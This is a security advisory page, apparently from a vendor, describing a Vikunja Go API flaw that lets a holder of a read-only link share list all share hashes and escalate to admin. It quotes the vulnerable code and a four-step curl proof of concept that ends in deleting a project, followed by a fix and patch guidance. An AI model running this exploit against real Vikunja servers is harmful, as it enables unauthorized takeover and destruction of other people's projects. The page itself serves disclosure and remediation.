Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-8hp8-9fhr-pfm9 api

HIGHFix: go-vikunja/vikunja@9efe1fa

GHSA-8hp8-9fhr-pfm9 is a high-severity (CVSS 7.5) CWE-285 vulnerability in code.vikunja.io/api. A fix is available for code.vikunja.io/api — see the affected versions and patch details below.

Vikjuna: Link Share Hash Disclosure via ReadAll Endpoint Enables Permission Escalation

Also known asCVE-2026-33680GO-2026-4848
Published
Mar 25, 2026
Updated
Mar 30, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-8hp8-9fhr-pfm9.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs34th percentile — riskier than 34% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-8hp8-9fhr-pfm9 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹code.vikunja.io/api

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The LinkSharing.ReadAll() method allows link share authenticated users to list all link shares for a project, including their secret hashes. While LinkSharing.CanRead() correctly blocks link share users from reading individual shares via ReadOne, the ReadAllWeb handler bypasses this check by never calling CanRead(). An attacker with a read-only link share can retrieve hashes for write or admin link shares on the same project and authenticate with them, escalating to full admin access.

Details

The vulnerability arises from an inconsistency between the ReadOneWeb and ReadAllWeb generic handlers and the LinkSharing permission model.

LinkSharing.CanRead() correctly blocks link share users (pkg/models/link_sharing_permissions.go:25-29):

func (share *LinkSharing) CanRead(s *xorm.Session, a web.Auth) (bool, int, error) {
	if _, is := a.(*LinkSharing); is {
		return false, 0, nil  // Blocks link share users
	}
	// ...
}

ReadOneWeb calls CanRead() before returning data (pkg/web/handler/read_one.go:64):

canRead, maxPermission, err := currentStruct.CanRead(s, currentAuth)
if !canRead {
    return echo.NewHTTPError(http.StatusForbidden, ...)
}

ReadAllWeb does NOT call CanRead() (pkg/web/handler/read_all.go:106):

// Directly calls ReadAll without permission check
result, resultCount, numberOfItems, err := currentStruct.ReadAll(s, currentAuth, search, pageNumber, perPageNumber)

LinkSharing.ReadAll() only checks project-level read access (pkg/models/link_sharing.go:228-236):

func (share *LinkSharing) ReadAll(s *xorm.Session, a web.Auth, ...) (...) {
    project := &Project{ID: share.ProjectID}
    can, _, err := project.CanRead(s, a)  // Link share users pass this!
    if !can {
        return nil, 0, 0, ErrGenericForbidden{}
    }
    // Returns all shares with hashes...

Project.CanRead() allows link share users (pkg/models/project_permissions.go:105-108):

shareAuth, ok := a.(*LinkSharing)
if ok {
    return p.ID == shareAuth.ProjectID && (shareAuth.Permission == PermissionRead || ...), ...
}

The Hash field is exposed in JSON serialization (pkg/models/link_sharing.go:50):

Hash string `xorm:"varchar(40) not null unique" json:"hash" param:"hash"`

While the Password field is cleared at line 276, the Hash — which is the secret token used to authenticate — is returned in full.

PoC

Prerequisites: A project with multiple link shares at different permission levels (common scenario: a read-only share for public access and a write/admin share for collaborators).

Step 1: Authenticate with a read-only link share

# Authenticate with a read-only link share hash
curl -s -X POST http://localhost:3456/api/v1/shares/READ_ONLY_HASH/auth \
  | jq '.token'
# Returns: JWT token with permission=0 (read)

Step 2: List all link shares for the project (hash disclosure)

# Use the read-only JWT to list ALL shares including their hashes
curl -s -H "Authorization: Bearer <read-only-jwt>" \
  http://localhost:3456/api/v1/projects/PROJECT_ID/shares \
  | jq '.[].hash, .[].permission'
# Returns ALL shares with their hashes and permission levels:
# "READ_ONLY_HASH"   permission: 0
# "ADMIN_HASH"       permission: 2    <-- leaked!

Step 3: Escalate to admin using the leaked hash

# Authenticate with the admin link share hash
curl -s -X POST http://localhost:3456/api/v1/shares/ADMIN_HASH/auth \
  | jq '.token'
# Returns: JWT token with permission=2 (admin)

Step 4: Exercise admin privileges

# Delete the project (admin-only operation)
curl -s -X DELETE -H "Authorization: Bearer <admin-jwt>" \
  http://localhost:3456/api/v1/projects/PROJECT_ID
# Success — full admin access achieved from a read-only share

Impact

  • Permission escalation: An attacker with any link share URL (including read-only) can escalate to the highest permission level of any other link share on the same project
  • Credential disclosure: All link share hashes for a project are exposed, which are effectively bearer tokens
  • No account required: Link shares are designed for unauthenticated access — the attacker only needs a link share URL that was shared publicly or forwarded to them
  • Common scenario: Projects with both read-only (public) and write/admin (collaborator) link shares are the standard use case for tiered sharing
  • Password-protected shares: Even password-protected share hashes are leaked, though exploitation requires knowing/brute-forcing the password

Recommended Fix

Add a link share user check at the beginning of LinkSharing.ReadAll(), mirroring the check in CanRead():

// In pkg/models/link_sharing.go, at the start of ReadAll():
func (share *LinkSharing) ReadAll(s *xorm.Session, a web.Auth, search string, page int, perPage int) (result interface{}, resultCount int, totalItems int64, err error) {
	// Don't allow link share users to list link shares
	if _, is := a.(*LinkSharing); is {
		return nil, 0, 0, ErrGenericForbidden{}
	}

	project := &Project{ID: share.ProjectID}
	// ... rest of method unchanged

Alternatively, as a defense-in-depth measure, exclude the Hash field from JSON serialization for list responses by using json:"-" and only returning it on creation. However, the primary fix should be the authorization check since the hash is needed in the creation response.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocode.vikunja.io/apiall versions2.2.2go get code.vikunja.io/api@v2.2.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update code.vikunja.io/api to 2.2.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8hp8-9fhr-pfm9 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-8hp8-9fhr-pfm9 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-8hp8-9fhr-pfm9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `LinkSharing.ReadAll()` method allows link share authenticated users to list all link shares for a project, including their secret hashes. While `LinkSharing.CanRead()` correctly blocks link share users from reading individual shares via `ReadOne`, the `ReadAllWeb` handler bypasses this check by never calling `CanRead()`. An attacker with a read-only link share can retrieve hashes for write or admin link shares on the same project and authenticate with them, escalating to full admin access. ## Details The vulnerability arises from an inconsistency between the `ReadOneWeb` and
O3 Security · Impact-Aware SCA

Is GHSA-8hp8-9fhr-pfm9 in your dependencies?

O3 Security finds GHSA-8hp8-9fhr-pfm9 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-8hp8-9fhr-pfm9: api (High 7.5) | O3 Security